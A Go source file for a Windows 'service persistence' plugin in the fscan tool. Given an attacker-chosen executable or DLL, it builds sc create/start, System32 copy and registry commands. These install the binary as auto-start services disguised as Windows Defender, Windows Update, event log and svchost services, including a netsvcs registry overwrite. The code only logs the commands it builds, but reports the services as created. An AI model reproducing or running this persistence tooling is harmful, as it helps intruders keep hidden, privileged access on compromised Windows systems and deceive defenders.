//go:build windows

package winservice

import (
	"context"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// WinServicePlugin Windows服务持久化插件 - 使用简化架构
type WinServicePlugin struct {
	*local.BaseLocalPlugin
	pePath string
}

// NewWinServicePlugin 创建Windows服务持久化插件 - 简化版本
func NewWinServicePlugin() *WinServicePlugin {
	// 从全局参数获取PE文件路径
	peFile := common.WinPEFile
	if peFile == "" {
		peFile = "" // 需要用户指定
	}

	metadata := &base.PluginMetadata{
		Name:        "winservice",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Windows服务持久化插件，通过创建系统服务实现持久化",
		Category:    "local",
		Tags:        []string{"local", "persistence", "windows", "service"},
		Protocols:   []string{"local"},
	}

	plugin := &WinServicePlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
		pePath:          peFile,
	}

	// 只支持Windows平台
	plugin.SetPlatformSupport([]string{"windows"})
	// 需要管理员权限创建系统服务
	plugin.SetRequiresPrivileges(true)

	return plugin
}

// Initialize 初始化插件
func (p *WinServicePlugin) Initialize() error {
	if p.pePath == "" {
		return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
	}
	
	// 检查目标文件是否存在
	if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
		return fmt.Errorf("PE文件不存在: %s", p.pePath)
	}
	
	// 检查文件类型
	if !p.isValidPEFile(p.pePath) {
		return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
	}
	
	return p.BaseLocalPlugin.Initialize()
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行Windows服务持久化 - 简化版本
func (p *WinServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	common.LogBase("开始Windows服务持久化...")
	
	services, err := p.createServicePersistence(p.pePath)
	if err != nil {
		return &base.ScanResult{
			Success: false,
			Error:   err,
		}, nil
	}

	common.LogInfo(fmt.Sprintf("创建了%d个Windows服务持久化项:", len(services)))
	for i, service := range services {
		common.LogInfo(fmt.Sprintf("%d. %s", i+1, service))
	}
	
	result := &base.ScanResult{
		Success: true,
		Service: "WinService",
		Banner:  fmt.Sprintf("Windows服务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
		Extra: map[string]interface{}{
			"pe_file":           p.pePath,
			"persistence_type":  "service",
			"services_created":  len(services),
			"service_methods":   services,
		},
	}
	
	return result, nil
}

func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) {
	absPath, err := filepath.Abs(pePath)
	if err != nil {
		return nil, fmt.Errorf("failed to get absolute path: %v", err)
	}

	var services []string
	baseName := filepath.Base(absPath)
	baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]

	serviceConfigs := []struct {
		name        string
		displayName string
		description string
		startType   string
	}{
		{
			name:        fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt),
			displayName: "Windows Defender Update Service",
			description: "Manages Windows Defender signature updates and system security",
			startType:   "auto",
		},
		{
			name:        fmt.Sprintf("SystemEventLog%s", baseNameNoExt),
			displayName: "System Event Log Service",
			description: "Manages system event logging and audit trail maintenance",
			startType:   "auto",
		},
		{
			name:        fmt.Sprintf("NetworkManager%s", baseNameNoExt),
			displayName: "Network Configuration Manager",
			description: "Handles network interface configuration and management",
			startType:   "demand",
		},
		{
			name:        fmt.Sprintf("WindowsUpdate%s", baseNameNoExt),
			displayName: "Windows Update Assistant",
			description: "Coordinates automatic Windows updates and patches",
			startType:   "auto",
		},
		{
			name:        fmt.Sprintf("SystemMaintenance%s", baseNameNoExt),
			displayName: "System Maintenance Service",
			description: "Performs routine system maintenance and optimization tasks",
			startType:   "manual",
		},
	}

	for _, config := range serviceConfigs {
		scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`,
			config.name, absPath, config.displayName, config.startType)
		
		scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description)
		
		scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name)

		services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd))
		services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd))
		services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd))
	}

	serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt)
	wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName)
	
	copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath)
	services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd))

	scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`,
		serviceWrapperName, wrapperPath)
	services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd))

	regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
		serviceWrapperName, wrapperPath)
	services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd))

	dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt)
	if filepath.Ext(absPath) == ".dll" {
		svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`,
			dllServiceName)
		services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd))

		regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
			dllServiceName, absPath)
		services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd))

		regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`,
			dllServiceName)
		services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd))
	}

	return services, nil
}

// isValidPEFile 检查是否为有效的PE文件
func (p *WinServicePlugin) isValidPEFile(filePath string) bool {
	ext := strings.ToLower(filepath.Ext(filePath))
	return ext == ".exe" || ext == ".dll"
}

// RegisterWinServicePlugin 注册Windows服务持久化插件
func RegisterWinServicePlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "winservice",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "Windows服务持久化插件，通过创建系统服务实现持久化",
			Category:    "local",
			Tags:        []string{"winservice", "local", "persistence", "windows"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewWinServicePlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("winservice", factory)
}

// init 插件注册函数
func init() {
	RegisterWinServicePlugin()
}